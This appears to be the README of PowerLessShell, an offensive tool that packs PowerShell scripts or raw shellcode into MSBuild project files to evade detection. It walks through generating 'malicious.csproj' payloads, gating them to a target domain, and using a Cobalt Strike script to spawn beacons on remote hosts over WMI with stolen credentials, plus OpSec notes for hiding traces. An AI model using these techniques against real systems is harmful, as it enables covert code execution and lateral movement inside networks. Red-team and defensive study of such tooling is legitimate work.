Awesome
PowerLessShell
PowerLessShell rely on MSBuild.exe to remotely execute PowerShell scripts and commands without spawning powershell.exe. You can also execute raw shellcode using the same approach.
MSBuild conditions
MSBuild support condition that can be used to avoid running code if the condition is not met.
<Target Name="x" Condition="'$(USERDOMAIN)'=='RingZer0'">
The malicious code will only be executed if the current user domain is "RingZer0"
Condition supports several other formats that can be used to create more conditional execution check.
<Target Name="x" Condition="'$(registry:HKEY_LOCAL_MACHINE\blah@blah)'>='0'">
Property Functions also expose interesting data.
https://docs.microsoft.com/en-us/visualstudio/msbuild/property-functions
Usage
PowerLessShell use commandline argument to generate the final file.
$ python PowerLessShell.py -h
PowerLessShell Less is More
Mr.Un1k0d3r RingZer0 Team
-----------------------------------------------------------
usage: PowerLessShell.py [-h] [-type TYPE] -source SOURCE -output OUTPUT
[-arch ARCH] [-condition CONDITION]
optional arguments:
-h, --help show this help message and exit
-type TYPE Payload type (shellcode/powershell) default to:
shellcode
-source SOURCE Path to the source file (raw shellcode or powershell
script)
-output OUTPUT MSBuild output filename
-arch ARCH Shellcode architecture (32/64) default to: 32
-condition CONDITION XML Compiling condition default (Check for USERDOMAIN)
default is: none
Generating a powershell payload
$ python PowerLessShell.py -type powershell -source script.ps1 -output malicious.csproj
PowerLessShell Less is More
Mr.Un1k0d3r RingZer0 Team
-----------------------------------------------------------
Generating the msbuild file using include/template-powershell.csproj as the template
File 'malicious.csproj' created
Process completed
Generating a shellcode payload
$ python PowerLessShell.py -source shellcode.raw -output malicious.csproj
PowerLessShell Less is More
Mr.Un1k0d3r RingZer0 Team
-----------------------------------------------------------
Generating the msbuild file using include/template-shellcode.csproj as the template
File 'malicious.csproj' created
Process completed
Generating a 64 bits shellcode payload
$ python PowerLessShell.py -source shellcode64.raw -output malicious.csproj -arch 64
PowerLessShell Less is More
Mr.Un1k0d3r RingZer0 Team
-----------------------------------------------------------
Generating the msbuild file using include/template-shellcode.csproj as the template
Generating a payload for a 64 bits shellcode! Don't forget to use the 64 bits version of msbuild.exe
File 'malicious.csproj' created
Process completed
Cobalt Strike Aggressor script (wmi_msbuild.cna)
By Alyssa (ramen0x3f) and MrT-F
Set Up
- Either copy PowerLessShell folder to [cobalts working dir]/PowerLessShell or make note of path
- If you didn't copy it to the Cobalt directory: edit the $pls_path variable in this file to point to PowerLessShell
- Load script into Cobalt Strike
Usage
check_msbuild -target TARGET Verify .NET 4.0.30319 is installed (should see "Status OK")
[-user user] [-pass pass] Windows 7 has .NET 4.0.30319 after 3 reboots and 4 Windows update cycles
rename_msbuild -target TARGET Copy MSBuild.exe.
-msbuild newname
[-path C:\new\path] Default - C:\Users\Public\
[-user domain\username] Specifying user/pass spawns cmd on remote host.
[-pass password]
wmi_msbuild -target TARGET Spawn new beacon.
-listener LISTENER
[-payload new_file] Default - [a-zA-Z].tmp
[-directory new_dir] Default - C:\Users\Public\
[-msbuild alt_msbuild_location]
[-user USERNAME] [-pass PASSWORD]
[-manualdelete] Switch doesn't auto delete payload.
OpSec Notes
Spawns cmd.exe on the target system if
- ManualDelete switch is not set
- rename_msbuild is run with a username/password specified
Credit
Mr.Un1k0d3r RingZer0 Team 2017